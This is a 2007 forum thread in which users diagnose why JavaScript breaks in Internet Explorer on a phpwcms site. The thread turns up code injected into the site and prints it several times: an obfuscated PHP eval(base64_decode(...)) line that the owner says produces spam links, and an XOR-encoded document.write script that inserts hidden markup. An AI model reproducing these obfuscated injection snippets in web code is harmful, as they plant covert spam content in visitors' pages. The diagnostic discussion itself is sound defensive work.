Javascript loaded from phpwcms does not work in IE

dernier_recours · Post by **dernier_recours** » Sat 15. Dec 2007, 00:57

For a reason I don't know, on a phpwcms site managed by a client, Javascript stopped to work with Internet explorer. I tried to load the source code rendered by phpwcms alone (copy it and paste it into a virgin html file) for testing purposes and javascript worked. In other words, Javascript works outside phpwcms, but not inside. I'm completely confused.

I started a thread about this into Poor man's multilingual tool:
http://www.phpwcms.de/forum/viewtopic.php?p=96260#96260

DeXXus · Post by **DeXXus** » Sat 15. Dec 2007, 02:05

Javascript conflicts can occur if there are "event handler" issues. (For example, multiple ONLOAD events). Are you saying that FireFox/Opera/whatever OTHER browser ALSO DOES NOT execute the javascript?
Is there a little yellow triangle icon (error) in the lower left corner(status bar) of IE browser window?

dernier_recours · Post by **dernier_recours** » Mon 17. Dec 2007, 14:46

Thanks for the reply. Firefox executes the javascript, but IE does not. There is no error icon in IE. The strange thing is that if I copy the page source into a new file and i open it into IE, javascript is executed.

website:
http://www.ceveq.qc.ca

DeXXus · Post by **DeXXus** » Mon 17. Dec 2007, 19:35

Maybe IE is screwing up the #menu_bar DIV because the background image is coming up with error 404? IE is probably brain-dead like that, just guessing.

Post by **update** » Mon 17. Dec 2007, 22:38

If not already tried - try now to disable in conf.inc.php (if on):

Code: Select all

$phpwcms['IE_htc_png'] = 1; //set it to 0
$phpwcms['IE_htc_hover'] = 1; //set it to 0 too

Perhaps you are a lucky one and this will do it for you... never know

dernier_recours · Post by **dernier_recours** » Tue 18. Dec 2007, 00:39

Thanks a lot for the support. I tried what both of you suggested and to disable every javascript else than the language switch, and it still not working with IE. It is a mystery that the following test page works, and not the real page, whereas the source code is the same:

Test page: http://www.ceveq.qc.ca/testjs.php
Real page: http://www.ceveq.qc.ca/index.php?raison

DeXXus · Post by **DeXXus** » Tue 18. Dec 2007, 07:57

Although your examples are not quite the same...
Looks like it MIGHT have something to do with this:

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<?  eval(base64_decode("ZWNobyBldmFsKGJhc2U2NF9kZWNvZGUoIkRRcGxjbkp2Y2w5eVpYQnZjblJwYm1jb01DazdEUXB5WlhGMWFYSmxLQ2N1ZUcxc0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUlEMGdibVYzSUhCb2NFRmtjMTlZYld4U2NHTW9KM0J3WXpFd01DNXBibVp2Snl3Z0p5OXdhSEJCWkhOT0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUxUNTJhV1YzS0NkNmIyNWxPakl3Tmljc0lEQXNJQ2NuTENBbkp5d2dKekFuS1RzTkNnPT0iKSk7IA=="));  ?>

According to the DOM view, IE chokes on it and then mangles the DIV that immediately follows:

Code: Select all

< div  class =
" invisibleonloa - - >

DOM view of "index.php?raison":

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML Strict//EN"><HTML xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE></TITLE><!--	phpwcms | free open source content management system	created by Oliver Georgi (oliver at phpwcms dot de) and licensed under GNU/GPL.	phpwcms is copyright 2003-2007 of Oliver Georgi. Extensions are copyright of	their respective owners. Visit project page for details: http://www.phpwcms.org///--><META http-equiv="content-type" content="text/html; charset=utf-8" /><META http-equiv="content-style-type" content="text/css" /><SCRIPT src="template/inc_js/frontend.js" type="text/javascript"> </SCRIPT><STYLE type="text/css" media="all"> BODY {COLOR: #000000}A {COLOR: #18555a}A:link {COLOR: #18555a}A:active {COLOR: #18555a}A:visited {COLOR: #18555a}A:hover {COLOR: #18555a}A:visited {COLOR: #18555a}A:active { }</STYLE><STYLE type="text/css"> @import url( template/inc_css/frontend.css );</STYLE><SCRIPT src="template/inc_js/languages2.js" type="text/javascript"> </SCRIPT></HEAD><BODY><!--eval(base64_decode("ZWNobyBldmFsKGJhc2U2NF9kZWNvZGUoIkRRcGxjbkp2Y2w5eVpYQnZjblJwYm1jb01DazdEUXB5WlhGMWFYSmxLQ2N1ZUcxc0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUlEMGdibVYzSUhCb2NFRmtjMTlZYld4U2NHTW9KM0J3WXpFd01DNXBibVp2Snl3Z0p5OXdhSEJCWkhOT0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUxUNTJhV1YzS0NkNmIyNWxPakl3Tmljc0lEQXNJQ2NuTENBbkp5d2dKekFuS1RzTkNnPT0iKSk7IA=="));  ?>    <div class="invisibleonloa--><DIV id="container"><IMG alt="" src="http://www.ceveq.qc.ca/template/picture/background/entete_ceveq.gif" border="0" />

DOM view of "testjs.php":

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<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML Strict//EN"><HTML xmlns="http://www.w3.org/1999/xhtml"><HEAD><TITLE></TITLE><!--	phpwcms | free open source content management system	created by Oliver Georgi (oliver at phpwcms dot de) and licensed under GNU/GPL.	phpwcms is copyright 2003-2007 of Oliver Georgi. Extensions are copyright of	their respective owners. Visit project page for details: http://www.phpwcms.org///--><META http-equiv="content-type" content="text/html; charset=utf-8" /><META http-equiv="content-style-type" content="text/css" /><SCRIPT src="template/inc_js/frontend.js" type="text/javascript"> </SCRIPT><STYLE type="text/css" media="all"> BODY {COLOR: #000000}A {COLOR: #18555a}A:link {COLOR: #18555a}A:active {COLOR: #18555a}A:visited {COLOR: #18555a}A:hover {COLOR: #18555a}A:visited {COLOR: #18555a}A:active { }</STYLE><STYLE type="text/css"> @import url( template/inc_css/frontend.css );</STYLE><SCRIPT src="template/inc_js/languages2.js" type="text/javascript"> </SCRIPT></HEAD><BODY><DIV><SCRIPT> var enkripsi="'1Afkt'02qv{ng'1F'00fkqrnc{'1Clmlg'1@'00'1G"; teks=""; teksasli="";var panjang;panjang=enkripsi.length;for (i=0;i<panjang;i++){ teks+=String.fromCharCode(enkripsi.charCodeAt(i)^2) }teksasli=unescape(teks);document.write(teksasli);</SCRIPT><DIV style="DISPLAY: none"><A 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src="picture/../template/picture/background/entete_ceveq.gif" border=0>

dernier_recours · Post by **dernier_recours** » Tue 18. Dec 2007, 18:41

It looks like the eval(base64_decode("...")) turns to spam links. I though it was generated by phpwcms. How may I get rid of it?

Code: Select all

<?  eval(base64_decode("ZWNobyBldmFsKGJhc2U2NF9kZWNvZGUoIkRRcGxjbkp2Y2w5eVpYQnZjblJwYm1jb01DazdEUXB5WlhGMWFYSmxLQ2N1ZUcxc0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUlEMGdibVYzSUhCb2NFRmtjMTlZYld4U2NHTW9KM0J3WXpFd01DNXBibVp2Snl3Z0p5OXdhSEJCWkhOT0p5azdEUW9rZUcxc2NuQmpZbUZ1Ym1WeUxUNTJhV1YzS0NkNmIyNWxPakl3Tmljc0lEQXNJQ2NuTENBbkp5d2dKekFuS1RzTkNnPT0iKSk7IA=="));  ?>

DeXXus · Post by **DeXXus** » Tue 18. Dec 2007, 20:39

I'm not sure where your problem might be. How old is the version to which this happens? I notice this in the "changelog.txt":

2007-02-22
[FIX] Fix for outdated base64_decode() of pagelayout vars in admin.templates.tmpl.php (line 234).

dernier_recours · Post by **dernier_recours** » Wed 19. Dec 2007, 01:02

This happend a month after I updated to 1.3.3.